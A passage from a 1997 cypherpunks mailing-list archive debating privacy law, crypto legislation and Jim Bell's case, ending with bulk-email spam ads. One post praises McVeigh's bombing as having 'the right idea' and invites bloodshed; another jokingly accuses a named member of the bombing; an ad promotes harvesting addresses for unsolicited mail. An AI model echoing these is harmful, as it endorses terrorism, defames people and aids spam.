as criminal prosecutors to plead their case. They smear you and I
with the same brush used on drug dealers and child pornographers
so that use of cryptography is now "circumstantial evidence" of
our being guilty of "something." We are being prosecuted for use
of encryption on the basis of circumstantial evidence that someone,
somewhere is using cryptography and commiting crimes.

  I don't have any evidence that places Kent Crispin at the scene
of the OKC bombing, but we do know that use of PGP was involved
in the crime. Combined with Michael Fortier's testimony about
Kent's involvement, I think we can get a guilty verdict.

  As I said previously, the problem with circumstantial evidence is
that it is increasingly being combined with emotional rhetoric to
convict people who "could have" commited a certain crime, instead
of those "proven" to have commited the crime.
  I have no doubt that the government could replicate much of the
evidence against Jim Bell in a similar case against more than a
few cypherpunks, as well as producing even stronger evidence of
a similar nature in a full investigation of us. Anonymous and
Nobody would be in big, big trouble.
  In McVeigh's case, I wonder how many others the government 
could find similar or stronger evidence against in the OKC crime?
Regardless of the answer to that question, it is McVeigh who is
the one prosecutors are pointing at when they put up yet another
picture of dead bodies and say that "somebody has to pay" for
the crime.

TruthMonger
{Who has been proven to be Kent Crispin, by a plethora of
circumstantial evidence.}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 08:12:54 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <NyDL8D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
> If that was the extend of the story, Bell wouldn't still be in jail.  The
> USC violations above may be the official charge, but they hardly justify
> keeping somebody locked up without bail. Bell is still in jail because he
> wrote a politically incorrect essay and made the mistake of publishing it.
> Come to think of it, that makes him a political prisoner.

The only "political prisoners" are in the USSR and the like.
To imply that there can be "political prisoners" in the enlightened
United States of America constitutes Seditious Spam, a felony.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 08:16:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb643715b3a@[207.172.96.178]>
Message-ID: <v03007800afb6766f6f7f@[204.179.142.132]>
MIME-Version: 1.0
Content-Type: text/plain


>At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>
>>It's an interesting argument. I don't agree, though
>>you can certaintly try it. But more to the point of
>
>Oh, I don't intend to "try it." The Supreme Court is far past ever
>restoring basic constitutional rights. Instead of "trying it," better to
>monkeywrench it.

Don't give up on the Supremes. There was at least one good
decision this year that you should care about, Chandler v. Miller,
striking down the Georgia drug testing requirement for public
officials.  Justice Ginsburg said in an 8-1 opinion that there
was no "symbolic value" exception to the Fourth Amendment. It
was the first time the Court struck down a drug testing law.
And the case was brought by the Libertarian Party in Georgia.
Credit where credit is due.

>
>>your original post, is the information that TransUnion
>>sold to Lexis/Nexis for P-TRAK "public information"?
>>If yes, what is private information?
>
>It all depends on what was agreed to, tacitly or explicitly, in the process
>of applying for and accepting a credit card. I seem to recall "agreeing to"
>multiple pages of fine print about how and to whom information could be
>disclosed. That most of us ignore such fine print is our problem....I don't
>think there's been any allegation, even by you, Marc, that what Equifax is
>doing with credit information is breaking either the contract or any
>existing laws. You just want a new set of laws to do what contracts are
>perfectly capable of doing. Those who want protection of information
>disclosed to others should, of course, make such arrangements.

Sure, and the fine print could say that you waive your right
to vote, your first-born male child will be sold into slavery, etc.
Fortunately, the law doesn't permit this.

Btw, I didn't say Lexis/Nexis was breaking a law. I said
they were exploiting a loophole in a law, which is
exactly right.

>
>(And such arrangements are made all the time. Examples abound.)
>
>That such arrangements for a "privacy card" are not easy to make is not an
>issue for the law to meddle with. In fact, many of us think there's a
>market for just such a "privacy card," and, absent meddling by government,
>expect such a card to appear

Keep me posted. If legislation is threatening a good technical
solution, I'll be the first to blow the whistle.

>
>
>
>>I agree that there are real threats to cyber freedom in Europe.
>>I'm not saying otherwise. But my point is that anonymous remailers
>>and the like will have a better future in countries that recognize
>>a right of anonymity as opposed to those that don't.
>
>Despite my dislike of most of what passes for the American system, I'll
>take the protections of the First, augmented with the 1956 "anonymous
>leafletting" Supreme case, over the "ad hoc" protections nearly all
>Europeans have (or don't have).

The case is MacIntyre v. Ohio (1995), affirming Talley v. California
(1960). I agree that MacIntyre is very important. We keep citing
it in our arguments in support of techniques for anonymity. That's
another example of why law matters.


>>The question is what are you going to do with companies
>>that won't let you buy a product unless you provide
>>your True Name?
>
>The answer to this is both simple and profound. You have heard the answer
>many times, but you probably dismiss it as just libertarian rhetoric.
> . . .
>But I submit that the hypo of a company refusing to sell a product unless a
>True Name is given is unlikely in the extreme, and is not any kind of
>justification for a new set of so-called privacy laws which actually
>interfere with other basic rights.

What about web sites denying access without registration?

I'm not going to argue the adequacy of contract for resolving
privacy issues with you. I know you have a deep belief that
uncoerced market relations are the norm. I'll respect that.
But I have a different view. I don't want people exercising privacy
rights to be discriminated against. I don't want them to have
pay extortionate rates to protect their identity.

>>One of the consequences of legal obligations on companies
>>that collect personal information might be to encourage
>>more payment anonymous, psuedo-anonymous payment schemes.
>>Wouldn't that be a good result?
>
>If privacy is important to an agent, make it part of the contractual
>arrangement. Again, this is already done in a huge array of cases.

It's an interesting view. I could say, with probably more support:

"If privacy is important to an agent, make it part of the
statutory arrangement. Again, this is already done in a huge
array of cases." (Credit reports, bank records, video
rental records, cable subscriber records, telephone calls, etc)

What examples do you have where privacy is included in
a contractual arrangement?

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 11:41:46 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102807afb671036b89@[207.167.93.63]>
Message-ID: <v03102808afb696432bfa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:


>One of the biggest problems with libertarian theories is that
>they are descriptively flawed as applied in the real world. In
>practice, perfect markets rarely exist, laws do protect rights,
>and there are a lot of efficiencies -- economic, technological,
>and otherwise -- in promoting the highest level of safeguards
>across similar activities, e.g. you get into a car, you expect
>that the brakes will work. You don't express a negotiated
>preference for how much you want your brakes to work.

One of the biggest problems with critics of libertarian theories is that
they falsely claim libertarians believe that each and every action during
each and every day by each and every agent involves complex contracts.

What we are talking about here is whether there's a need for new laws to,
using your specific example, stop companies from asking for personal
information.

What libertarians, and hopefully other freedom-seeking people, would argue
is that government should not be interjected into mutual negotiations if at
all possible. This applies to Alice and Bob negotiating some transaction,
and it applies to Alice and Safeway, and to Safeway and Apple.

Citing the straw man that libertarians believe every driver must negotiate
a contract about how his brakes are to work has nothing to do with this
basic point.


>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

"A bunch of political rhetoric." This has been a waste of everyone's time.

As for the "rights of the people to use strong crypto," there are currently
no restrictions *whatsoever* on crypto use. SAFE will, of course, add a
criminalization angle to crypto use, which is a step in the wrong
direction. Once the Legislature gets its hands on crypto use at all, the
way is made easier for later extensions and clarifications of  the rules.
Imagine the equivalent situation with free speech or religion: "No American
may be denied access to the religious beliefs of his choosing, but the
practice of non-Christian religious acts in connection with another crime
will expose the pagan to a mandatory 5-year increase in imprisonment."

This is what SAFE's "crypto in a crime" provisions are equivalent to...like
making the speaking of Spanish a factor in criminal sentencing. "Congress
shall make no law" means just that.

A better tack is to take a rejectionist, no compromise stance toward any
proposed legislation which would in any way limit or criminalize crypto
use. Rely on the First Amendment.

This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of
course, but that is as it should be.

But, then, I quit the NRA because they were too namby pamby about the
Second Amendment. I place more faith in my assault rifles than I do in the
criminals in D.C. McVeigh may have killed too many innocents, looking back
on OKC, but he generally had the right idea about hitting the power centers
of the police state.

(Shocking sentiments to most of the sheeple, but Thomas Jefferson said as
much when he said the tree of liberty had to be watered with the blood of
tyrants and/or patriots every 20 or so years. It's been about 190 years too
long since we had a good watering.)

But this will be my last message to you, Marc, as I see no point in
continuing any dialog.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 12:09:49 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199706010352.UAA26328@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> 
> Sure it is unpleasant to have your privacy violated, but it is your own
> choice whether you allow information to become available or not.

  Theoretical bullshit. 
  Your choice is to not work, not go on welfare, not drive, not get a
telephone, not be born in a hospital...ad infinitum.
  Even then, when you are arrested for trespassing on private land or
misuse of public land for those grubs and worms you ate, the government
will take your fingerprints and attach an identity to them. When you
return to your cave, the postman will be waiting at the entrance to
deliver the "Worms R Us" snailmail spam.

>  All true law within anarchist, and indeed much minarchist belief derives 
> from the non agression principle, by making use of freely available 
> information about you I do not initiate violence against you, therefore I 
> am guilty of no crime.

  Everyone seems to neglect recognizing that most of the proclaimed
"freely available information" is the result of coercion of one kind
or another.
  "If you want a driver's license so that you can earn a decent
living, then you must give us your social security number so that
we can make sure that you get your fair share of junk mail and 
spam. If you drive without a license, men with guns will lock you
in a cage."

  Try dumping your garbage on other people's doorstep and telling
them that you haven't initiated violence against them and are thus
guilty of no crime. Sell "freely available" information about other
people's children to convicted child molesters and then explain the
same thing to the parents.
  Why don't the people who send out spam go out ringing people's
doorbells at 4 a.m. to tell them how to "Make Big $$$"?  It is
because they would be held personally accountable for the effect
their actions have on the lives of others. They can explain until
they are blue in the face about their right to be an asshole who
is intruding in my life but they are unlikely to convince me to
put up with it without acting in a manner they find offensive.

  I enjoy many of the posts on anarchy by Paul and others but I
think most of the concepts are valuable mainly as personal standards
one applies to their own life.
  You can explain to the guy who slashes your tires that you had
a right to ring his doorbell at 4 a.m. to try to sell him your
product but he had no right to slash your tires. You will be right,
but so what?
  If Tim McVeigh beats the rap and returns to society, I'm going to
buy him a computer and an email account and then give the address
to CyberPromo. I am sure he will understand the issues of anarchy
and free enterprise involved, and act in accordance with the
dictates of his own conscience.	

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 09:18:53 +0800
To: cypherpunks@toad.com
Subject: A New Law Could Take Care Of The Problem
Message-ID: <199706010100.VAA03089@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


* In a September statement, Joseph Sniezek, an official of the
Centers for Disease Control's National Center for Injury
Prevention, lamented the serious injuries suffered by rodeo bull
riders and suggested a solution might be to require helmets. 

  ...and seat belts?
  (When the law is passed to require this, don't be surprised if they
tack on requirements regarding the use of child-seats for those riders
who take the children along. And of course, if they have a copy of PGP
in their pocket when they ride without a helmet...}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 09:51:12 +0800
To: cypherpunks@toad.com
Subject: Summit on Cyber-Terrorism
Message-ID: <1.5.4.32.19970601012343.00968be4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


May 31, 1997, Asahi Evening News

Summit leaders to combat cyber-terrorism

World leaders will agree to take measures against a 
new high-tech element of terrorism--attacks on host 
computers--at the June 20-22 Denver summit, officials 
involved in the preparations said Friday. 

As part of countermeasures against cyber-terrorism, 
further joint efforts to control the spread of computer 
encryption technologies will be reaffirmed, they said. 

Concerns over terrorist attacks on computers and the 
need for heightened international efforts will be added 
to the 25 specific counterterrorism recommendations that 
Japan, the United States, Britain, Germany, Canada, 
Italy, France and Russia adopted at a ministerial meeting 
in Paris last July. 

-----

For full, brief article:

  http://jya.com/denver.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 13:02:09 +0800
To: cypherpunks@algebra.com
Subject: You've got to be kidding....
Message-ID: <v0310280aafb6af06fd32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Someone forwarded this item to me. As he didn't cc: the list on it, I'll
protect his identity. Could be he's understandably worried about who's
reading the list.

This item indicates that the same team that busted this "gang" could indict
several of us as "co-conspirators" (isn't this a redundancy?) along with
Bell.

Lock and load.

--Tim


>Date: Sat, 31 May 1997 21:23:20 -0700
>To: tcmay@got.net
>From: xxxxx
>Subject: You've got to be kidding....
>
>Tim --
>
>For your grist of stupid, selectively enforced laws:
>(from comp.risks 19.20)
>
>>Date: Fri, 30 May 1997 03:45:10 -0400
>>From: David Kennedy <76702.3557@compuserve.com>
>>Subject: Florida "Computer Gang" Members Arrested
>>
>>Courtesy of United Press International via CompuServe's Executive News
>>Service:
>>
>>> Florida computer gang members arrested
>>
>>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two
>>> alleged leaders of a so-called computer "gang" they say set up a Web site
>>> that accused a teacher of having a homosexual affair with a student.  The
>>> Web site displayed a photograph of the student's prom picture with the
>>> teacher's head superimposed onto the head of the boy's female date.
>>
>>:: Two 19 year olds were charged with "publication of material that exposes
>>a person to hatred, contempt or ridicule."  Because they worked together,
>>anti-gang laws apply upgrading the charges from misdemeanors to felonies.
>>
>>:: The victim-teacher has been the target of harassment before, another
>>former student was sentenced to 6 months' probation last December.
>>
>>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc.
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 1 Jun 1997 09:01:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.LNX.3.91.970531215301.196A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.

This really depends how you look on the concept of government as a whole. 
I personally, as an anarchist, see this as a redundant argument however I 
think this point needs adressing. 
On government collection of data about citizens: If you favour a 
minarchist system of government and can envisage a government which 
commited no act of agression against its citizens, I do not see why you 
would be bothered about the government collecting data on citizens.

Certainly government collection of data on citizens can allow restrictive 
and totalitarian governments such as those currently seen in the US and 
nearly all of Europe to fuck citizens over at will: Information is power.
However, the whole point of cryptography is to protect information using 
mathematics, laws are not sufficient, nor indeed would they be the right 
solution. If you do support a system in which there is an entity that can 
be defined as the government, then it is your duty to keep private data 
you do not want them to know out of their hands. If information is freely 
available then you cannot expect to regulate or restrict its use by 
legislation.

> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," 

There is no such right. No-one forces you to submit your name and address 
to a company so it can be passed on and put of junk mail lists etc... You 
personally have to bear the responsibility of keeping information out of 
the hands of those you do not want to posess it. 

> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.

This is at best a flawed analysis of the situation, at worst a dangerous 
manifestation of the "there should be a law" mentality.

There is no such thing as a right to privacy, if you make information 
available you have to expect people to make use of it. As long as no-one 
forces you to make such information available you have no-one to blame 
for "misuse" of that information apart from yourself.

All true law within anarchist, and indeed much minarchist belief derives 
from the non agression principle, by making use of freely available 
information about you I do not initiate violence against you, therefore I 
am guilty of no crime.

Sure it is unpleasant to have your privacy violated, but it is your own 
choice whether you allow information to become available or not.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 11:38:02 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <Pine.SOL.3.96.970531222155.5247A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I don't mind the criticism if you think we're saying or
> doing something that really is bad for privacy, but
> a bunch of political rhetoric isn't worth much. And if
> you don't think we're not busting our butt to protect
> the rights of people to use strong crypto, you have no
> idea what's going on.

Then I guess, to the extent you support the criminal crypto
provision--and you do--then I don't know what's going on.
I mean, man, I don't know what's going on.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 10:42:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03007800afb68a25627d@[205.177.146.237]>
MIME-Version: 1.0
Content-Type: text/plain


>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>>What examples do you have where privacy is included in
>>a contractual arrangement?
>
>
>- a lender agrees to transfer the information provided only to specified
>parties, and not to the newspapers . . .

Good examples. Many are codified in statue, created by common law,
industry practice, or professional obligation. Virtually none are
tied to specific, negotiated contracts.

One of the biggest problems with libertarian theories is that
they are descriptively flawed as applied in the real world. In
practice, perfect markets rarely exist, laws do protect rights,
and there are a lot of efficiencies -- economic, technological,
and otherwise -- in promoting the highest level of safeguards
across similar activities, e.g. you get into a car, you expect
that the brakes will work. You don't express a negotiated
preference for how much you want your brakes to work.

I don't mind the criticism if you think we're saying or
doing something that really is bad for privacy, but
a bunch of political rhetoric isn't worth much. And if
you don't think we're not busting our butt to protect
the rights of people to use strong crypto, you have no
idea what's going on.

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 13:22:00 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <199706010504.AAA29828@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800afb68a25627d@[205.177.146.237]>, on 05/31/97 
   at 10:27 PM, Marc Rotenberg <rotenberg@epic.org> said:

>>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>>
>>>What examples do you have where privacy is included in
>>>a contractual arrangement?
>>
>>
>>- a lender agrees to transfer the information provided only to specified
>>parties, and not to the newspapers . . .

>Good examples. Many are codified in statue, created by common law,
>industry practice, or professional obligation. Virtually none are tied to
>specific, negotiated contracts.

>One of the biggest problems with libertarian theories is that they are
>descriptively flawed as applied in the real world. In practice, perfect
>markets rarely exist, laws do protect rights, and there are a lot of
>efficiencies -- economic, technological, and otherwise -- in promoting
>the highest level of safeguards across similar activities, e.g. you get
>into a car, you expect that the brakes will work. You don't express a
>negotiated preference for how much you want your brakes to work.

Marc you really need to pick better examples for making your point. :)

Not only is government regulation unnecesary to insure passenger safty in
automobiles I can site what happend with Tucker as a prime example of how
government power was used to prevent the free market from bringing safty
inovations to the general public.

The biggest problem with libertarian ideals is that the never get
implemented before some statest jumps in with their own power grab
"solution" to the problem.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5EDpI9Co1n+aLhhAQHJ/AQAlGXirFFE/Cp+ZrXh7dREGrKBz7ftROq1
4VKhATlNHxWSOhX9sgyd3+QazW1ojhG6He/xCjJ9JOuhuNaWA292/BOynkweDf4I
ltdKNHyqV9fk2ZZpeAXCSvYyK1TSuMobL7MSvLcmfFz8DL1hNkFKBl0R546ZNJFq
GopDQzlUmzE=
=6+NB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Max Inux <maxinux@bigfoot.com>
Date: Sat, 13 Jun 1998 07:21:44 +0800
To: cypherpunks@Algebra.COM
Subject: FBI Case Files on the Web (fwd)
Message-ID: <Pine.LNX.3.96.970509171645.2353C-100000@khercs.chipware.net>
MIME-Version: 1.0
Content-Type: text/plain



Well, here is some more information about FOIA


FBI Files being put on the web, check out the story at
http://www.seattletimes.com/news/nation-world/html98/file_061298.html

Then go check out the files they've got on the web so far if you're interested
(alphabetical index) ...
http://www.fbi.gov/foipa/alpha.htm


-- Max Inux (MaxInux@bigfoot.com) UIN: 207447, http://khercs.dyn.ml.org
Strong Cryptography makes the world a safer place- PGP: 0x5CCFCA59
Or Kinky sex makes the world go round- Christie: Your in my sig too
^^ If Cryptography is outlawed,  only outlaws will have cryptography ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RHS Linux User <vitality@plant.mail-response.com>
Date: Thu, 1 May 1997 04:28:02 -0700 (PDT)
To: listmaster@fullmkt1.fullmkt.com
Subject: Make a ton of Money Sending Postcards!!
Message-ID: <199705010609.CAA07294@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain



********************************************************
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as the Subject and send to: remove@lotsmorehits.com
********************************************************


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <manager@gte.net>
Date: Fri, 2 May 1997 11:37:19 -0700 (PDT)
To: <cyoung6166@aol.com>
Subject: Bulk Emailing !!
Message-ID: <m0wN3In-000eoYC@alliance.net>
MIME-Version: 1.0
Content-Type: text/plain


MARKETING WITH DIRECT EMAIL / BULK EMAIL SERVICES
NOW  WITH  "STEALTH"  EMAIL  PROGRAM
AND NEWSGROUP EMAIL "ADDRESS GRABBER"

I operate a custom email service. From my experience, your typical
bulk email service just collects email addresses from any source they can rely on shear volume emailing to produce the desired results - the "shotgun" approach. I have found that by targeting emails to groups that would likely be specifically interested in your product, the response rate is much better than when using the "shotgun" approach AND you don't tend to annoy as many people (which is nice for both sides). By targeting emails, I mean that I collect the addresses myself from on-line areas (forums, newsgroups, etc.) so that I mail to people that are likely to be interested in my products based on their on-line participation.

FLOODGATE is the renegade technology that helps me do this.

This is the same software that all bulk emailing services use!

------------------------------------------------------------------
Floodgate Bulk Email Loader for
Windows Version 5.02 now Supports 17 (really more with the free form filter) File Formats
------------------------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand
marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to 20,000 fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate. It's a bulk email loader. If you're interested in electronic marketing, you should know about this program.

THE PROGRAM: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email
addresses. It then sorts the addresses, removes any duplicates, and
formats them into an output file, with 10, 20 or 30 addresses per
line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America
On-line account to send out your marketing letters. Neither AOL nor
the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 2,000+
people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local
calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to
download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But,like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list",
which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for
writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 15+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15
minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of
forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good
targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of
forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per 	hour.

7. America On-line Member Directory: Most member directories only
allow you to search by city and state. With AOL, you can search by
business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're
willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member
directory, only you can download names much quicker. You can easily
pull hundreds of thousands of addresses out of each of these member
directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that
floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a
lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any
groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your
mailing list. Place these addresses in the REMOVE.MST file and they
will never receive another letter from you again. In this way, you
will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The
following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
